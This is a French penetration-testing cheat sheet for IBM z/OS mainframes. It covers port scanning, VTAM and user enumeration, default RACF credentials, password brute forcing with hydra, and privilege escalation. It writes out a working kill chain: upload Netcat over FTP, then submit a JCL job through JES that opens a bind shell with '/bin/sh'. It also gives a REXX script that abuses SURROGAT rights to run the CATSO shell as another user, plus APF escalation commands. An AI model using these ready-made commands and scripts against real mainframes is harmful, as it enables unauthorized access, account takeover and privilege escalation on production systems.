Tests d'intrusion Mainframe
Reconnaissance réseau
Scan de ports
Voici une liste de ports communéments ouverts sur un mainframe :
| Port | Service |
|---|---|
| 21/TCP | FTP |
| 22/TCP | SSH |
| 23/TCP | TN3270 over Telnet |
| 24/TCP | Telnet |
| 175/TCP | Network Job Entry |
| 515/TCP | PrintServer |
| 900/TCP | FTP |
| 1023/TCP | Telnet |
| 1414/TCP | IBM MQ Server |
| 1415/TCP | IBM MQ Re-translator |
| 1920/TCP | IBM Tivoli Monitoring Service Index |
| 2252/TCP | Network Job Entry over SSL |
| 2809/TCP | CORBA |
| 4020/TCP | NetView |
| 4022/TCP | NetView |
| 8803/TCP | RMF Data Portal |
| 10007/TCP | Workload Manager |
Énumération des applications VTAM
Souvent, les applications VTAM ont un pattern en fonction du sous-système sur lesquelles elles s’appuient : TSOXXX / CICSXXX / IMSXXX / etc.
On peut énumérer les applications par du bruteforce avec nmap :
nmap $IP --script vtam-enum --script-args idlist=$WORDLIST -vvÉnumération des utilisateurs
Le service Telnet, quand il tourne sur un mainframe, permet de réaliser de l’énumération utilisateur grâce aux réponses qu’il retourne lors d’une tentative de connexion.
Voici une liste de comptes par défauts ainsi que les mots de passe associés : Github
Accès initial
Politique de mot de passe
Deux méthodes d’authentification sont possibles avec RACF : PASSWORD et PASSPHRASE. Le fait est que la politique de mots de passe par défaut de RACF est faible :
| Type | Longueur | Caractères disponibles |
|---|---|---|
| PASSWORD | 1 à 8 | UPPER, DIGIT & SPECHAR (@#$) |
| PASSPHRASE | (9)14 à 100 | UPPER, LOWER, DIGIT & SPECHAR (@#$&* }[]"()=,.;'+/) |
Ces politiques peuvent être durcies si le package ICHPWX11 est présent
Mots de passe par défaut
Le compte créé par défaut sur un système Z est IBMUSER:IBMUSER.
Si IBMUSER est supprimé d’un z/OS, en se disant que ça règle un problème de sécurité, RACF recréé un IBMUSER avec le même mot de passe par défaut d’origine (IBMUSER). Il faut alors le révoquer mais le garder.
Pour rappel, voici une liste de comptes par défauts ainsi que les mots de passe associés : Github
Bruteforce de comptes
Dans la mesure où les PASSWORDS font par défaut 8 caractères maximum, on peut les bruteforcer avec Nmap ou Patator :
Pour ce qui concerne les PASSPHRASES, il est également possible de réaliser une attaque par dictionnaire via le service IBM HTTP Server. Vu que c’est du HTTP GET, on va utiliser Hydra :
hydra -l $USERNAME -P $PASS_LIST -s 80 -f $IP http-get /C’est également possible de faire le bruteforce avec hydra via le service FTP à partir des comptes utilisateurs identifiés.
D’une manière générale il faut tenter :
- Le “User as Pass”
Exploitations via un accès FTP
Si on obtient un accès au service FTP d’un mainframe, que ce soit un accès anonyme ou via une compromission d’un compte, il est possible de réaliser plusieurs actions.
Exécution de scripts JCL
L’instruction FTP SITE FILE=JES permet d’envoyer tous les fichiers téléversés à JES pour qu’ils soient exécutés avec les droits de l’utilisateur connecté au serveur FTP.
La kill chain pour obtenir un accès en ligne de commande via FTP est la suivante :
- Compiler ou téléverser le Netcat OMVS sur l’environnement cible via l’accès FTP
ftp> pwd
257 "toto" Is working directory.
ftp> binary
200 Representation type is Image
ftp> put nc
200 Port request OK……- Créer un script JCL pour exécuter le binaire Netcat téléversé :
//EXECNC JOB (INFO),'Execute NC',CLASS=A,MSGCLASS=0,
// MSGLEVEL=(0,0)
//NCLOL EXEC PGM=BPXBATCH
//STDIN DD SYSOUT=*
//STDOUT DD SYSOUT=*
//STDPARM DD *
SH cp -B "//'BLKHT.NC'" /tmp/nc;
chmod +x /tmp/nc;
nohup /tmp/nc -l -p 31337 -e /bin/sh;
rm /tmp/nc
/*- Téléverser le script JCL et l’envoyer pour exécution à JES
ftp> site file=jes
200 SITE command was accepted
ftp> put RUNNC.JCL
250-It is known to JES as JOB JOB12345
250 Transfer completed successfully- Se connecter au listener Netcat avec NetEBCDICat.py :
python3 NetEBCDICat.py -i $IP -p $PORTSinon il existe le script MainTP.py qui réalise toute ces manipulations d’un coup pour gagner du temps (le principal inconvénient est qu’il n’est pas porté sous Python3) :
./MainTP.py -t $IP -u $USERNAME -p $PASSWORDInjections SQL
L’instruction FTP SITE FILE=SQL permet d’envoyer les fichiers téléversés à DB2 pour que leur contenu soit interprété. Il est ainsi possible de soumettre des requêtes SQL pour faire de l’énumération.
Latéralisation & Escalade de privilèges
Énumération authentifiée
Certaines commandes TSO permettent d’obtenir des informations utiles :
IPLINFO: Script REXX créé par Mark ZELDEN permettant d’afficher ÉNORMEMENT d’informations sur le système. Installé sur la plupart des z/OS.SHOWZOS/SHOWMVS: Un équivalent àIPLINFOqui rajoute d’autres informations telles que les started tasks, les APF/SVC etc.LISTUSER(LU) : Affiche l’ensemble des informations concernant l’utilisateur courant.LU $USERID OMVS: Affiche, en plus deLISTUSER, les informations relatives à USS (Unix System Services) tel que le HOME, le shell par défaut etc.ISRDDN: Équivalent à $PATHNETSTAT# Obtenir des informations réseau sur les ports ouverts sur la LPAR
Le script REXX ENUM de Philip Young permet d’automatiser l’énumération globale à partir d’un utilisateur TSO. Ce script ne touche qu’à la mémoire, il est relativement silencieux.
Permissions sur les datasets
Le code ASM APFCheck permet d’afficher le niveau d’accès associé à tous les data set.
call 'filename.asm.bin(apfcheck)'Le script REXX ELV.APF en mode 'list' fait la même chose, et permet également de privesc si des librairies ont une permission permettant de le faire.
EX 'filename.elv.apf' 'list'ELV.APF utilise les commandes RACF
Valeur de UACC
Vérifier la valeur de UACC, si elle est à READ ou au dessus => Pas bien :
Localisation de la base RACF
RVARY LIST
XXXXXXXX RACF DATABASE STATUS:
ACTIVE USE NUM VOLUME DATASET
------ --- --- ------ -------
YES PRIM 1 XXXSY1 SYS1.RACF.PRIMARY
YES BACK 1 XXXSY0 SYS1.RACF.BACKUPWARNING Mode
Pour détecter les datasets et les ressources qui sont en mode WARNING :
SR ALL WARNING NOMASKSurrogat Chaining
Le mécanisme SURROGAT SUBMIT permet à un utilisateur RACF d’exécuter des tâches au nom d’un autre utilisateur, en héritant de ses privilèges. Ca peut par exemple être utile pour avoir un seul identifiant pour les BATCH, mais que plusieurs autre utilisateurs puissent soumettre des jobs en son nom.
Si plusieurs profils SURROGAT se regroupent ou s’étendent entre différents groupes, il est possible de chaîner les permissions.
Pour interroger la classe SURROGAT à partir de l’utilisateur courant :
TSO RLIST SURROGAT *
TSO SEARCH CLASS(SURROGAT)
# TODO : creuser la différence entre ces deux commandesQuand on voit <USERID>.SUBMIT ça signifie que l’on peut exécuter un job batch au nom de l’utilisateur.
La kill chain pour obtenir un accès en ligne de commande est la suivante :
Lister les droits SURROGAT avec
RLIST SURROGAT *pour identifier un<USERID>.SUBMIT;Importer le script REXX CATSO (ou autre) permettant d’avoir un accès bind/reverse shell.
Importer le script SURROGAT.REXX suivant permettant d’exécuter CATSO.REXX en le nom de l’utilisateur cible.
/* REXX */
PARSE ARG id
QUEUE "//SURR01 JOB (9),'SURR01',CLASS=A,USER="id","
QUEUE "// MSGCLASS=H,MSGLEVEL=(1,1)"
QUEUE "//SURR012 EXEC PGM=IKJEFT01"
QUEUE "//SYSTSPRT DD SYSOUT=*"
QUEUE "//SYSTSIN DD *"
QUEUE "EXEC 'TESTUSER.CATSO.REXX' 'L 8855'"
QUEUE "//*"
QUEUE "$$"
o = OUTTRAP('output.')
"SUBMIT * END($$)"
o = OUTTRAP(OFF)Bien penser à modifier le nom du script CATSO, le mode et le port d’écoute(ligne 8).
- Exécuter le script SURROGAT.REXX en modifiant le nom de l’utilisateur à compromettre :
EX 'SURROGAT.REXX' '<USER>'APF-authorized
Lister les programmes APF authorized avec le script REXX ELV.APF :
ex 'ELV.APF' 'LIST'Si on observe un accès ALTER ou UPDATE sur un programme ou une librairie, on peut modifier son contenu :
ex 'ELV.APF' '<DATASET>'Le script ELV.APF recherche le profil utilisateur dans la mémoire RAM et lui attribue l’attribut SPECIAL.
Il est également possible d’exploiter cela avec le module payload/cmd/mainframe/apf_privesc_jcl de Metasploit.
Applicatifs
Application breakout
Le principe est de sortir d’une application ou d’une interface contrôlée pour accéder à l’environnement sous-jacent. C’est pertinent dans le cadre d’applications mainframe où on est cantoné à une interface.
Pour cela on va exploiter :
- des erreurs de logique applicative ;
- des messages d’erreur mal gérés ;
- des comportements inattendus lorsqu’on fournit une entrée non prévue ou vide ;
- des possibilités d’écriture (overtype) dans l’interface.
Références & Outils
Ressources
- Black-Hat - Executing Commands on z/OS through FTP
- SSTIC 2015 - La sécurité des systèmes mainframes
- Mainframe Security Framework
- Web Application Vulnerabilities & z/OS
- Conquering CICS
- A Gentle Introduction to Hacking Mainframe
Outils
- CATSO : script REXX qui permet d’obtenir un accès shell sur TSO, fonctionne en bind ou en reverse shell.
- Netcat : version de Netcat 1.10 compilée pour OMVS. Elle inclut l’option
-epour l’exécution de commandes. Compiler directement en local avecmake omvsou utiliser la version pré-compilée dans binary.
Personnes à suivre
- Chad Rikansrud (a.k.a Bigendian Smalls) - Pentester de chez Broadcom spécialiste de l’environnement mainframe IBM - Github
- Philip Young (a.k.a Soldier of Fortran) - Pentester chez NetSpi spécialiste de l’environnement mainframe IBM - Github
- Michelle Eggers - Pentester chez NetSpi spécialiste de l’environnement mainframe IBM
- Ayoub Elaassal (a.k.a Ayoul3) - Pentester chez PWC France - Github
CVE à creuser
- CVE-2012-5955 : exécution de code à distance sur WAS 5.X
- CVE 2012-5951 : privesc locale sur OMVS suite à l’exécution d’un REXX en setuid. Exploitable avec le script kuku.rexx